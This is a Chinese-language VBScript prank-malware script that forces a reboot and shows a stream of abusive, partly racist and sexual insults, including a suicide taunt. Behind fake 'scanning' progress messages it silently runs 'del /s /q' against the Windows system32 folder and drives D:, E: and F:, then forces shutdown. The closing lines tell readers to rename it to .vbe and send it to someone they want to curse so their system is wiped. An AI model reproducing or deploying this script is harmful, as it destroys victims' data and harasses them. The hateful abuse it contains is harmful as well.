on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""说我是千年老SB，不说就5分钟关你机，不信，试试???..大象之诅咒"" ",0 ,true
dim a
do while(a <> "我是千年老SB")
a = inputbox ("说我是千年老SB,就不关机，快撒，说 ""我是千年老SB"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛SB"
msgbox chr(13) + chr(13) + chr(13) + "进化不完全的生命体，基因突变的外星人，"
msgbox chr(13) + chr(13) + chr(13) + "幼稚园程度的高中生，先天蒙古症的青蛙头，"
msgbox chr(13) + chr(13) + chr(13) + "圣母峰雪人的弃婴，化粪池堵塞的凶手，"
msgbox chr(13) + chr(13) + chr(13) + "非洲人搞上黑*的后裔，阴阳失调的黑猩猩，"
msgbox chr(13) + chr(13) + chr(13) + "被诺亚方舟压过的河马，新火山喷发口， "
msgbox chr(13) + chr(13) + chr(13) + "超大无耻传声扩音喇叭，爱斯基摩人的耻辱，"
msgbox chr(13) + chr(13) + chr(13) + "和蟑螂共存活的超个体，生命力腐烂的半植物， "
msgbox chr(13) + chr(13) + chr(13) + "会发出臭味的垃圾人，“唾弃“名词的源头，"
msgbox chr(13) + chr(13) + chr(13) + "每天退化三次的恐龙，人类历史上最强的废材， "
msgbox chr(13) + chr(13) + chr(13) + "上帝失手摔下来的旧洗衣机，能思考的无脑袋生物， "
msgbox chr(13) + chr(13) + chr(13) + "损毁亚洲同胞名声的祸害，祖先为之蒙羞的子孙，"
msgbox chr(13) + chr(13) + chr(13) + "沉积千年的腐植质，科学家也不敢研究的原始物种"
msgbox chr(13) + chr(13) + chr(13) + "10倍石油浓度的沉积原料，被毁容的麦当劳叔叔， "
msgbox chr(13) + chr(13) + chr(13) + "像你这种可恶的家伙 : "
msgbox chr(13) + chr(13) + chr(13) + "只能演电视剧里的一陀粪，"
msgbox chr(13) + chr(13) + chr(13) + "比不上路边被狗洒过尿的口香糖，"
msgbox chr(13) + chr(13) + chr(13) + "连如花都帅你10倍以上，"
msgbox chr(13) + chr(13) + chr(13) + "找女朋友得去动物园甚至要离开地球，"
msgbox chr(13) + chr(13) + chr(13) + "想要自杀只会有人劝你不要留下尸体以免污染环境，"
msgbox chr(13) + chr(13) + chr(13) + "你摸过的键盘上连阿米吧原虫都活不下去，"
msgbox chr(13) + chr(13) + chr(13) + "喷出来的口水比SARS还致命， "
msgbox chr(13) + chr(13) + chr(13) + "装可爱的话可以瞬间解决人口膨胀的问题， "
msgbox chr(13) + chr(13) + chr(13) + "耍酷装帅的话人类就只得用无性生殖， "
msgbox chr(13) + chr(13) + chr(13) + "白痴可以当你的老师，智障都可以教你说人话，"
msgbox chr(13) + chr(13) + chr(13) + "只要你抬头臭氧层就会破洞 "
msgbox chr(13) + chr(13) + chr(13) + "要移民火星是为了要离开你，"
msgbox chr(13) + chr(13) + chr(13) + "如果你的丑陋可以发电的话全世界的核电厂都可以停摆， "
msgbox chr(13) + chr(13) + chr(13) + "去打仗的话子弹飞弹会忍不住向你飞，"
msgbox chr(13) + chr(13) + chr(13) + "手榴弹看到你会自爆， "
msgbox chr(13) + chr(13) + chr(13) + "别人要开飞机去撞双子星才行而你只要跳伞就有同样的威力"
msgbox chr(13) + chr(13) + chr(13) + "你去过的名胜全部变古迹，你去过的古迹会变成历史， "
msgbox chr(13) + chr(13) + chr(13) + "18辈子都没干好事才会认识你，连丢进太阳都嫌不够环保 "
msgbox chr(13) + chr(13) + chr(13) + "反正横竖一句话：别让我再看见你，要是见着了你， "
msgbox chr(13) + chr(13) + chr(13) + "我一定要把你灭了！"
msgbox chr(13) + chr(13) + chr(13) + "请等待扫描。。。不让会直接关闭！"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q C:WINDOWSsystem32",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "说你胸无点墨 "
msgbox chr(13) + chr(13) + chr(13) + "你像国足的球迷一样疯狂 "
msgbox chr(13) + chr(13) + chr(13) + "说你长相怪异 "
msgbox chr(13) + chr(13) + chr(13) + "你像喝了三鹿一样营养不良 "
msgbox chr(13) + chr(13) + chr(13) + "说你胡诌八扯"
msgbox chr(13) + chr(13) + chr(13) + "就像祖德的大嘴一样混淆黑白 "
msgbox chr(13) + chr(13) + chr(13) + "说你黑嘴黑牙 "
msgbox chr(13) + chr(13) + chr(13) + "好比阎王出的告示一样鬼话连篇 "
msgbox chr(13) + chr(13) + chr(13) + "说你不懂得说话艺术 "
msgbox chr(13) + chr(13) + chr(13) + "你就不要装强到处胡乱卖弄 "
msgbox chr(13) + chr(13) + chr(13) + "只会显示出你无知背后的无耻 "
msgbox chr(13) + chr(13) + chr(13) + "说你面相秀气 "
msgbox chr(13) + chr(13) + chr(13) + "只是为了掩饰自己缺少的霸气 "
msgbox chr(13) + chr(13) + chr(13) + "说你能言善变 "
msgbox chr(13) + chr(13) + chr(13) + "只是为了掩盖自己缺乏风格气质 "
msgbox chr(13) + chr(13) + chr(13) + "可怜的倒霉孩子 "
msgbox chr(13) + chr(13) + chr(13) + "咱碰上你就有种赌博赢钱的心情不能自拔~不喷不行的感觉"
msgbox chr(13) + chr(13) + chr(13) + "咱都不知道说你点啥好~自己黑嘴黑牙的·还感觉蛮骄傲的~~"
msgbox chr(13) + chr(13) + chr(13) + "你就好比AV里面那个主演似的~~被人家群p了你心里还无比的喜悦还面带笑容的~ "
msgbox chr(13) + chr(13) + chr(13) + "哎~阿拉蕾都打不破的脸皮 ~~你这不要脸境界真是高~"
msgbox chr(13) + chr(13) + chr(13) + "贱就贱得从容点,彻底点，贱到义无返顾！这样才能体现你原本的性格 "
msgbox chr(13) + chr(13) + chr(13) + "你还知不知道死字是怎么写 ? "
msgbox chr(13) + chr(13) + chr(13) + "小学都没毕业的文化~你还装上文化人了 "
msgbox chr(13) + chr(13) + chr(13) + "睡觉给你睡出幻觉了! 是不是？"
msgbox chr(13) + chr(13) + chr(13) + "我骂你是无罪的！你这臭不要脸的！"
msgbox chr(13) + chr(13) + chr(13) + "算了!骂你只是浪费我的口水,对你这种人我不值得也没那个必要! "
msgbox chr(13) + chr(13) + chr(13) + "请稍等，如果强行关闭计算机将关闭。。。"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q e:",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "长的惊险.....有创意啊 "
msgbox chr(13) + chr(13) + chr(13) + "你长的很爱国，很敬业，很有骨气！ "
msgbox chr(13) + chr(13) + chr(13) + "长得真有创意，活得真有勇气！ "
msgbox chr(13) + chr(13) + chr(13) + "你长的真tm后现代 "
msgbox chr(13) + chr(13) + chr(13) + "你长的好象车祸现场 "
msgbox chr(13) + chr(13) + chr(13) + "你长的外形不准 比例没打好 "
msgbox chr(13) + chr(13) + chr(13) + "你干嘛用屁股挡住脸啊！"
msgbox chr(13) + chr(13) + chr(13) + "我觉得世界上就只有两种人能吸引人，一种是特漂亮的一种就是你这样的 "
msgbox chr(13) + chr(13) + chr(13) + "你的长相很提神的说!! "
msgbox chr(13) + chr(13) + chr(13) + "你需要回炉重造 "
msgbox chr(13) + chr(13) + chr(13) + "他们怎么能管你叫猪呢？？这太不像话了！总不能人家长的像什么就叫人家什么吧！怎么能说你长得像猪呢？那是侮辱了猪。"
msgbox chr(13) + chr(13) + chr(13) + "靠，你TMD长得太好认了。"
msgbox chr(13) + chr(13) + chr(13) + "长的很科幻,长的很抽象! "
msgbox chr(13) + chr(13) + chr(13) + "见过丑的，没见过这么丑的。乍一看挺丑，仔细一看更丑！"
msgbox chr(13) + chr(13) + chr(13) + "长的很无辜，长的对不起人民对不起党。 "
msgbox chr(13) + chr(13) + chr(13) + "你长的拖慢网速，你长的太耗内存 "
msgbox chr(13) + chr(13) + chr(13) + "你光着身子追我两公里 我回一次头都算我是流氓! "
msgbox chr(13) + chr(13) + chr(13) + "大哥，把你脸上的分辨率调低点好吗？ "
msgbox chr(13) + chr(13) + chr(13) + "国际脸孔世界通用 "
msgbox chr(13) + chr(13) + chr(13) + "很惋惜的看着他说：“手术能整回来吗？“ "
msgbox chr(13) + chr(13) + chr(13) + "你张的很野兽派嘛！！ "
msgbox chr(13) + chr(13) + chr(13) + "你还没有进化完全，长的象人真的难为你了。 "
msgbox chr(13) + chr(13) + chr(13) + "我想看着你说话，可你为什么把脸埋在你的屁股里？...哦？对不起，我不知道那是你的脸，那你的屁股哪儿去了？"
msgbox chr(13) + chr(13) + chr(13) + "我也不想打击你了。你去动物园看看有没有合适的工作适合你，你这样在街上乱跑很容易被警察射杀的。"
msgbox chr(13) + chr(13) + chr(13) + "请稍等，计算机扫描中即将关闭关机程序。。。"
msgbox chr(13) + chr(13) + chr(13) + "20%"
msgbox chr(13) + chr(13) + chr(13) + "45%"
msgbox chr(13) + chr(13) + chr(13) + "60%"
msgbox chr(13) + chr(13) + chr(13) + "81%"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q d:",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "97%"
msgbox chr(13) + chr(13) + chr(13) + "对不起。。读取失败.。。"
msgbox chr(13) + chr(13) + chr(13) + "骂完后。进行第二次尝试。。"
msgbox chr(13) + chr(13) + chr(13) + "男人的四大理想:天上纷纷掉钞票,天下美男都死掉,美女脑子都坏掉,哭着喊着让我泡. "
msgbox chr(13) + chr(13) + chr(13) + "丑女一回头，吓死一头牛；丑女二回头，黄河瀑布水倒流；丑女三回头，泰森改打乒乓球! "
msgbox chr(13) + chr(13) + chr(13) + "男人四怕：怕小姐有病，怕情人怀孕，怕群众写信，怕老婆自尽。你怕啥？"
msgbox chr(13) + chr(13) + chr(13) + "这段日子以来，我一直想对你说三个字，但又怕说了连普通朋友也做不成，可我控制不住，还是想说：借点钱！ "
msgbox chr(13) + chr(13) + chr(13) + "脑筋急转弯：一只猪过马路被车撞死了，为什么？告诉你吧，是猪不会急转弯。"
msgbox chr(13) + chr(13) + chr(13) + "老婆无味，情人太累，小姐太贵，没事开个同学会，拆散一对是一对 "
msgbox chr(13) + chr(13) + chr(13) + "克林顿睡觉是国睡 乞丐睡觉是地税 和老婆睡觉是依法纳税 和情人睡觉是偷税漏税 和小姨子睡觉是增值税 "
msgbox chr(13) + chr(13) + chr(13) + "读出下面的字，你将获得月薪2000000的工作，试题如下：簟璁醭歙艽绱癀穑魍旃偬彘硪钚鲥硐蓰。"
msgbox chr(13) + chr(13) + chr(13) + "警告。你的手机由于黑客侵入信号系统，电池即将被引爆。请立即将手机电池取下扔出五米距离。切切。 "
msgbox chr(13) + chr(13) + chr(13) + "兄弟！请不要在每次放屁后低头猛吸就以为能把屁味吸光！:p"
msgbox chr(13) + chr(13) + chr(13) + "啊！你的皮肤如此富有光泽，你散发的香味如此难以抗拒，让我狠狠咬你一口吧，我亲爱的－－红烧肉。"
msgbox chr(13) + chr(13) + chr(13) + "人家捞，你不捞，老婆说你是草包；人家赌，你不赌，背后说你二百五；人家嫖，你不嫖，大伙一起造你谣 "
msgbox chr(13) + chr(13) + chr(13) + "人生四大悲:久旱逢甘霖-不停;他乡遇故知-借钱;洞房花烛夜-不举;金榜题名时-别人 "
msgbox chr(13) + chr(13) + chr(13) + "猪的四大愿望：四周栅栏都倒掉，天上纷纷掉饲料。天下屠夫都死掉，世界人民信佛教。 "
msgbox chr(13) + chr(13) + chr(13) + "天大地大不如老婆大；爹亲娘亲不如小姐亲；千好万好不如二奶好！ "
msgbox chr(13) + chr(13) + chr(13) + "只爱一个有点傻，爱上两个最起码，三个五个刚合适，十个八个才潇洒。 "
msgbox chr(13) + chr(13) + chr(13) + "山外青山楼外楼，你不爱我我不愁。世上美女到处有，她会比你更温柔！ "
msgbox chr(13) + chr(13) + chr(13) + "投保：男朋友是准客户，老公是客户，结婚是签单，离婚是退保，再婚是续保，找老二是加保 "
msgbox chr(13) + chr(13) + chr(13) + "这是有“屎”以来最有“粪”量的祝福 "
msgbox chr(13) + chr(13) + chr(13) + "有三个字一直藏在我的心底不敢对你说。现在我终于鼓足了勇气：“去死吧！” "
msgbox chr(13) + chr(13) + chr(13) + "那天我看见你拿到狂砍一只猪，猪跑到一个死胡同，只听见猪大叫：“本是同根生，相煎何太急！” "
msgbox chr(13) + chr(13) + chr(13) + "你如果收到本信息，证明你手机以感染病毒，请马上取出手机卡，用汽油刷洗。"
msgbox chr(13) + chr(13) + chr(13) + "网上无计可消愁，聊天解烦忧，忽见美眉在招手，顿首顿首，关掉其他窗口，聊到最后，是一北方老叟，作呕作呕！ "
msgbox chr(13) + chr(13) + chr(13) + "不许动！抢劫！全部举起手来！男的站左边，女的站右边，变态的站中间，哎！说的就是你，还装着看手机！"
msgbox chr(13) + chr(13) + chr(13) + "美眉美眉我爱你！先用话语感动你，再用行动打动你，买个戒指送给你，再用劳斯莱斯去娶你！（你愿意吗？） "
msgbox chr(13) + chr(13) + chr(13) + "嫖客：万水千山总是情，少给十块行不行；妓女：人间哪有真情在，多赚十块是十块。 "
msgbox chr(13) + chr(13) + chr(13) + "有一个女生去牧场见习挤牛奶，可别人都挤了一桶了，她还只挤了一点，正着急，突然老牛说了：小姐，你挤错地方了！ "
msgbox chr(13) + chr(13) + chr(13) + "强匪发现保险柜里头全都是果冻，他一气之下，把所有果冻都吃掉。隔天报纸的头条是这么写的 ※疯狂歹徒，精子银行被盗※ "
msgbox chr(13) + chr(13) + chr(13) + "猎人发现一只猪，举起猎熗打死了猪，猎人走近猪，猪却起来了，知道为什么？猜不到？—猪也正纳闷呢"
msgbox chr(13) + chr(13) + chr(13) + "最后一次读取开始。。。"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q f:",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "对不起。。读取失败。。即将关闭。。"
do while(a <> "愿意")
a = inputbox ("说你愿不愿意关机。说是就关机，说不是就慢慢=吧，快撒，说 ""愿意"" ","说不说","不愿意",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown /f",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "自己重装系统吧。。"
放入文本。把TXT改成VBE就可以了。
可以给你想骂的人，一边骂一边删系统和硬盘。。。骂完必关机。。让他再也见不到可爱的WINDOS。
O(∩_∩)O~原创哟！~！~！
